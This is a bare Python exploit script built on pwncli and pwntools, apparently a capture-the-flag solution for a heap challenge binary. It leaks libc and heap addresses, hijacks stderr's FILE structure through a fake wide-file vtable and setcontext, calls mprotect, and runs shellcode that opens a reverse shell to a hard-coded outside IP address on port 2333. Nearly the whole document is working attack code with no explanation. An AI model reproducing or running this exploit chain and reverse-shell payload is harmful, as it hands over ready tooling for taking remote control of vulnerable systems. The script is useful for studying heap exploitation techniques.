1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
|
from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc
def cmd(i): sa("> ", i)
def add(size,msg): cmd('1') ru("Input length:\n") s(str(size)) ru("Input content:\n") sl(msg)
def edit(idx, msg): cmd('3') ru("Input index:\n") s(str(idx)) ru("Input content:\n") sl(msg)
def show(idx): cmd('4') ru("Input index:\n") s(str(idx)) ru(b'Content:\n')
def dele(idx): cmd('2') ru( "Input index:\n") s(str(idx))
add(0x500, "A") add(0x500, "B")
add(0xFFFFFFFF, "C") add(0x400-1, "D")
dele(0) dele(1) add(0x500, "\n") show(0)
libc_base = u64(r(8)) - 0x203b00 leak_ex2(libc_base)
heap_base = u64(r(8)) leak_ex2(heap_base)
add(0x500, "B")
libc.address = libc_base
payload = flat( "A"*0x10, 0, 0x21, libc.sym['_IO_2_1_stderr_'], p32(0x500) ) edit(2, payload)
fake_IO_file_addr = libc.sym["_IO_2_1_stderr_"] fake_ucontext_addr = fake_IO_file_addr + 0x100 _IO_wide_data_1 = libc_base + 0x2037e0 _IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] chunk1 = libc.bss(0x500)
fake_IO_file = p64(0xffffffffffffffff) fake_IO_file += p64(0) * 2 + p64(1) fake_IO_file = fake_IO_file.ljust(0x30, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x100) fake_IO_file = fake_IO_file.ljust(0x78, b'\x00') fake_IO_file += p64(chunk1) fake_IO_file = fake_IO_file.ljust(0x88, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x40) fake_IO_file += p64(_IO_wide_data_1) fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00') fake_IO_file += p64(_IO_wfile_jumps+8) fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00') fake_IO_file += p64(0) fake_IO_file += p64(0) * 4 fake_IO_file += p64(libc.sym['setcontext'])
rdi = fake_ucontext_addr & ~0xfff rsi = 0x1000 rbp = fake_ucontext_addr + 0x100 rbx = 0 rdx = 7 rcx = 0 rax = 0 rsp = fake_ucontext_addr + 0x100 rip = libc.sym['mprotect']
ucontext = b'' ucontext += p64(0) * 7 ucontext += p64(rdi) + p64(rsi) ucontext += p64(rbp) + p64(rbx) ucontext += p64(rdx) + p64(rcx) ucontext += p64(rax) ucontext += p64(rsp) + p64(rip) ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00') ucontext += p64(chunk1 + 0x1000) ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')
shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm( shellcraft.connect('47.122.69.27',2333,'ipv4')+shellcraft.dupsh() )
payload = p64(0) + p64(0) + fake_IO_file + ucontext + bytes(shellcode)
edit(3, payload) cmd('5')
ia()
|